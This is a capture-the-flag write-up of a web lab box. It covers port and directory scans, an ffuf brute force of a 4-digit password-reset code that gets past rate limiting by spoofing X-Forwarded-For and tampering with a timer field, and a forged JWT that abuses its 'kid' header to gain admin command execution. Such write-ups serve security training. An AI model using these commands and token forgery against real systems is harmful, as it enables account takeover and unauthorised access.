Reconnaissance
A superficial port scan with nmap reveals ports 22 and 1337 open.
We then perform a deeper scan of the services running on these ports:
❯ nmap -p22,1337 -sCV 10.10.223.59 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 11:15 CET
Nmap scan report for 10.10.223.59
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9b:51:5f:0d:ab:b0:6e:e4:b8:8f:17:8b:e6:6e:0a:e2 (RSA)
| 256 17:3a:3a:f6:56:5c:3a:f5:f6:20:95:7f:22:74:5f:e2 (ECDSA)
|_ 256 4f:42:c8:81:70:fb:c1:8d:23:57:91:38:5d:69:33:4e (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds Accessing the web shows a direct login panel.
We fuzz for interesting paths:
❯ dirsearch -u "http://10.10.223.59:1337/" -t 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11460
Target: http://10.10.223.59:1337/
[11:18:45] Starting:
[11:19:04] 200 - 0B - /config.php
[11:19:04] 200 - 63B - /composer.json
[11:19:06] 302 - 0B - /dashboard.php -> logout.php
[11:19:12] 301 - 324B - /javascript -> http://10.10.223.59:1337/javascript/
[11:19:13] 302 - 0B - /logout.php -> index.php
[11:19:18] 301 - 324B - /phpmyadmin -> http://10.10.223.59:1337/phpmyadmin/
[11:19:18] 200 - 3KB - /phpmyadmin/doc/html/index.html
[11:19:21] 200 - 3KB - /phpmyadmin/index.php
[11:19:21] 200 - 3KB - /phpmyadmin/
[11:19:22] 403 - 279B - /server-status
[11:19:22] 403 - 279B - /server-status/
[11:19:28] 200 - 1KB - /vendor/composer/LICENSE
[11:19:28] 200 - 0B - /vendor/autoload.php
[11:19:28] 200 - 0B - /vendor/composer/autoload_classmap.php
[11:19:28] 200 - 502B - /vendor/
[11:19:28] 200 - 2KB - /vendor/composer/installed.json
[11:19:28] 200 - 0B - /vendor/composer/autoload_psr4.php
[11:19:28] 200 - 0B - /vendor/composer/ClassLoader.php
[11:19:28] 200 - 0B - /vendor/composer/autoload_real.php
[11:19:28] 200 - 0B - /vendor/composer/autoload_static.php
[11:19:28] 200 - 0B - /vendor/composer/autoload_namespaces.php
Task Completed In the /vendor/ path, we find a lot of information. User sessions use JWT tokens passed to PHP via the PHP-JWT library.
In /vendor/composer, we see the php-jwt version is 6.10.0.
A quick search shows no major vulnerabilities in that version, so we explore other avenues.
On the login panel, we can request a password reset.
Entering a dummy email like test@test.com returns Invalid email address!
Intercepting the request with Burp Suite reveals something more interesting.
Besides the invalid email message, the HTML page contains a script:
<script>
let countdownv = ;
function startCountdown() {
let timerElement = document.getElementById("countdown");
const hiddenField = document.getElementById("s");
let interval = setInterval(function() {
countdownv--;
hiddenField.value = countdownv;
if (countdownv <= 0) {
clearInterval(interval);
//alert("hello");
window.location.href = 'logout.php';
}
timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
}, 1000);
}
<script> This suggests that for a valid reset email, we get a panel to enter a code, with a countdown.
Capturing a dummy login request doesn't show the script, but we find a better clue: an HTML comment:
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME --> We may have fuzzed the wrong directories. Let's retry using this hint.
We'll use
ffuffor better control.
❯ ffuf -u "http://10.10.223.59:1337/hmr_FUZZ" -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" -t 200 -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.223.59:1337/hmr_FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 991ms]
css [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 62ms]
js [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 53ms]
logs [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 63ms]
:: Progress: [220560/220560] :: Job [1/1] :: 175 req/sec :: Duration: [0:02:32] :: Errors: 0 :: Jackpot...
In the /hmr_logs/ directory, we find a file error.logs.
This file contains logs for the user t*******@hammer.thm.
Additionally, there's a path called /admin-login.
It shows a panel for a 4-digit code, with 180 seconds to enter it.
We intercept the POST request for brute-forcing before time runs out!!!!
But wait... the request sends two values: recovery_code and s.
s corresponds to the remaining seconds, and changing it updates the response to our value. So, infinite time.
Using Burp Suite, we hit a rate limit: Rate time limit exceeded.
A Google search reveals that changing the X-Forwarded-For header to a different IP per request resets the rate limit completely.
We use ffuf for this. We need two wordlists:
code.txt→ contains codes from 0000 to 9999- Generated with
seq -f "%04g" 0 9999 > code.txt
- Generated with
ip.txt→ a file with enough different IPs for each request.- Generated with
for X in {0..255}; do for Y in {0..255}; do echo "192.168.$X.$Y"; done; done > ip.txt - Since we only need 10000, trim with
head -n 10000 ip.txt > ip_cut.txt
- Generated with
Now with ffuf, we run:
ffuf -w code.txt:W1 -w ip_cut.txt:W2 -u "http://<target_IP>:1337/reset_password.php" -X "POST" -d "recovery_code=W1&s=80" -b "PHPSESSID=<SESSIONID>" -H "X-Forwarded-For: W2" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -mode pitchfork -fw 1 -rate 100 -o output.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.223.59:1337/reset_password.php
:: Header : X-Forwarded-For: W2
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: PHPSESSID=7u5raqpms0a5h9iap8oebnj8fe
:: Data : recovery_code=W1&s=80
:: Output file : output.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid
:: Filter : Response words: 1
________________________________________________
[Status: 200, Size: 2190, Words: 595, Lines: 53, Duration: 53ms]
* W1: 3421
* W2: 192.168.1.165 We enter the code on the web and... it lets us change the password!!! We try logging in with the new password.
INSIDE and we have the user flag.
Escalation
Inside the web, we can execute commands, but some are blocked. The page logs us out frequently.
A JS script logs us out every 20 seconds because the persistentSession cookie is set to no. Even changing it doesn't help.
Solution: Change the Expires field of persistentSession to Session and set the cookie to yes.
With ls, we see:
188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php Some interesting items. The cat command doesn't work, but there might be uncapped alternatives.
For the file 188ade1.key, we try opening it directly from the URL, and it downloads. Inside, we see a code:
❯ cat 188ade1.key
───────┬─────────────────────────────────────
│ File: 188ade1.key
───────┼─────────────────────────────────────
1 │ 56058354efb3daa97ebab00fabd7a7d7
───────┴───────────────────────────────────── We tried it as a cookie but no result.
Now, let's check execute_command.php:
{"error":"Unauthorized - Missing Authorization Header"} On the commands page, there's a script using a JWT token. Decoding it shows it uses a kid (Key ID) pointing to a key path. We change the path to the .key file we found, set our role to admin, generate the JWT, and use it in the request.
We also change the Verify Signature, entering the key value (all doable on jwt.io).
With the modified JWT token, we have no command restrictions and can read the required flag file.
Room solved.
